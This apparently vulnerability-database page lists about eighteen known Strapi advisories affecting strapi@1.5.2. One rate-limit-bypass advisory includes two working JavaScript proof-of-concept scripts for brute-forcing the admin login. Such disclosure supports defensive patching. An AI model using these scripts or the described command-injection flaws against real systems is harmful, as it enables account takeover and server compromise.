Search for packages
| purl | pkg:npm/strapi@1.5.2 |
| Next non-vulnerable version | None. |
| Latest non-vulnerable version | None. |
| Risk | 10.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-5bpn-j31w-k7gb
Aliases: CVE-2023-34093 GHSA-chmr-rg2f-9jmf |
Exposure of Sensitive Information to an Unauthorized Actor Strapi is an open-source headless content management system. Prior to version 4.10.8, anyone (Strapi developers, users, plugins) can make every attribute of a Content-Type public without knowing it. The vulnerability only affects the handling of content types by Strapi, not the actual content types themselves. Users can use plugins or modify their own content types without realizing that the `privateAttributes` getter is being removed, which can result in any attribute becoming public. This can lead to sensitive information being exposed or the entire system being taken control of by an attacker(having access to password hashes). Anyone can be impacted, depending on how people are using/extending content-types. If the users are mutating the content-type, they will not be affected. Version 4.10.8 contains a patch for this issue. | There are no reported fixed by versions. |
|
VCID-acq9-x41j-6bbp
Aliases: CVE-2019-18818 GHSA-6xc2-mj39-q599 |
Weak Password Recovery Mechanism for Forgotten Password strapi mishandles password resets within `packages/strapi-admin/controllers/Auth.js` and `packages/strapi-plugin-users-permissions/controllers/Auth.js`. |
Affected by 17 other vulnerabilities. Affected by 17 other vulnerabilities. |
|
VCID-adab-ztym-ayhd
Aliases: CVE-2023-36472 GHSA-v8gg-4mq2-88q4 |
Strapi may leak sensitive user information, user reset password, tokens via content-manager views Attackers can get access to user reset password tokens if they have the configure view permissions. | There are no reported fixed by versions. |
|
VCID-ax22-q11r-7kgc
Aliases: CVE-2021-28128 GHSA-37hx-4mcq-wc3h |
Weak Password Recovery Mechanism for Forgotten Password In Strapi, the admin panel allows the changing of one's own password without entering the current password. An attacker who gains access to a valid session can use this to take over an account by changing the password. |
Affected by 14 other vulnerabilities. |
|
VCID-bpbf-fj8g-5ueg
Aliases: GHSA-49vv-6q7q-w5cf |
Duplicate Advisory: OS Command Injection in Strapi ### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9p2w-rmx4-9mw7. This link is maintained to preserve external references. ### Original Description The Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code Execution in the Install and Uninstall Plugin components of the Admin panel, because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function. |
Affected by 15 other vulnerabilities. |
|
VCID-byez-u4kv-7qac
Aliases: CVE-2023-38507 GHSA-24q2-59hm-rh9r |
Strapi Improper Rate Limiting vulnerability ### 1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. ### 2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2) ### 3. PoC Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen. #### Pattern 1 (uppercase and lowercase) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### Pattern 2 (trailing slash) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) ### 4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases. ### 5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`) Also, remove any extra slashes in the request path. | There are no reported fixed by versions. |
|
VCID-dxss-at1b-vkaq
Aliases: CVE-2022-31367 GHSA-4phg-hpqm-c3j4 |
Strapi mishandles hidden attributes within admin API responses Strapi before 3.6.10 and 4.x before 4.1.10 mishandles hidden attributes within admin API responses. |
Affected by 9 other vulnerabilities. |
|
VCID-g1c3-eb5k-sfgn
Aliases: CVE-2022-0764 GHSA-xrjf-phvv-r4vr |
Command injection in strapi Arbitrary Command Injection in GitHub repository strapi/strapi prior to 4.1.0. |
Affected by 0 other vulnerabilities. |
|
VCID-gkb4-ad7n-byd5
Aliases: CVE-2020-13961 GHSA-65wv-528r-m892 |
Improper Input Validation Strapi could allow a remote authenticated attacker to bypass security restrictions because templates are stored in a global variable without any sanitation. By sending a specially crafted request, an attacker could exploit this vulnerability to update the email template for both password reset and account confirmation emails. |
Affected by 17 other vulnerabilities. |
|
VCID-kzmr-p64p-fycf
Aliases: CVE-2020-27665 GHSA-4p55-xj37-fx7g |
Incorrect Default Permissions In Strapi, there is no `admin::hasPermissions` restriction for CTB (aka content-type-builder) routes. |
Affected by 15 other vulnerabilities. |
|
VCID-mffu-ck9j-vkg8
Aliases: CVE-2023-34235 GHSA-9xg4-3qfm-9w8f |
Exposure of Sensitive Information to an Unauthorized Actor Strapi is an open-source headless content management system. Prior to version 4.10.8, it is possible to leak private fields if one is using the `t(number)` prefix. Knex query allows users to change the default prefix. For example, if someone changes the prefix to be the same as it was before or to another table they want to query, the query changes from `password` to `t1.password`. `password` is protected by filtering protections but `t1.password` is not protected. This can lead to filtering attacks on everything related to the object again, including admin passwords and reset-tokens. Version 4.10.8 fixes this issue. |
Affected by 0 other vulnerabilities. |
|
VCID-n7t6-zk51-afc3
Aliases: CVE-2023-37263 GHSA-m284-85mf-cgrc |
Strapi's field level permissions not being respected in relationship title ### Summary Field level permissions not being respected in relationship title. If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible. ### Details No RBAC checks on on the relationship the relation endpoint returns ### PoC #### Setup Create a fresh strapi instance Create a new content type in the newly created content type add a relation to the users-permissions user. Save. Create a users-permissions user Use your created content type and create an entry in it related to the users-permisisons user Go to settings -> Admin panel -> Roles -> Author Give the author role full permissions on the content type your created. Make sure they don't have any permission to see User Save Create a new admin account with only the author role #### CVE login on the newly created author acount. go to the content manager to the colection type you created with the relationship to users_permissions_user You now see a field you don't have permissions to view. ### Impact RBAC field level checks leaks data selected by the admin user as relationship title What could be sensitive fields that they should not be allowed to see. by the person having this specific role. | There are no reported fixed by versions. |
|
VCID-q6f6-pmnx-eua8
Aliases: CVE-2019-19609 GHSA-9p2w-rmx4-9mw7 GMS-2020-779 |
Command Injection in strapi Versions of `strapi` before 3.0.0-beta.17.8 are vulnerable to Command Injection. The package fails to sanitize plugin names in the `/admin/plugins/install/` route. This may allow an authenticated attacker with admin privileges to run arbitrary commands in the server. |
Affected by 15 other vulnerabilities. |
|
VCID-qcu6-ntuc-byea
Aliases: CVE-2021-46440 GHSA-85vg-grr5-pw42 |
Insecure Storage of Sensitive Information Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a cleartext password, leading to getting API documentation for further API attacks. |
Affected by 13 other vulnerabilities. Affected by 1 other vulnerability. |
|
VCID-r9jw-pgw5-guh5
Aliases: CVE-2020-27664 GHSA-7frv-9phw-vrvr |
Improper Input Validation `admin/src/containers/InputModalStepperProvider/index.js` in Strapi has unwanted `/proxy?url=` functionality. |
Affected by 15 other vulnerabilities. |
|
VCID-v79g-np4c-kygh
Aliases: CVE-2022-29894 GHSA-mcqm-6ff4-53qx |
Cross-site Scripting in Strapi Strapi v3.x.x versions and earlier contain a stored cross-site scripting vulnerability in file upload function. By exploiting this vulnerability, an arbitrary script may be executed on the web browser of the user who is logging in to the product with the administrative privilege. | There are no reported fixed by versions. |
|
VCID-vu2b-re6f-n7fd
Aliases: CVE-2020-8123 GHSA-23fp-fmrv-f5px |
Uncontrolled Resource Consumption A denial of service exists in strapi v3.0.0-beta.18.3 and earlier that can be abused in the admin console using admin rights can lead to arbitrary restart of the application. |
Affected by 19 other vulnerabilities. |
|
VCID-yafu-6e7s-y3cw
Aliases: CVE-2020-27666 GHSA-qvp5-mm7v-4f36 |
Cross-site Scripting Strapi has stored XSS in the wysiwyg editor's preview feature. |
Affected by 15 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||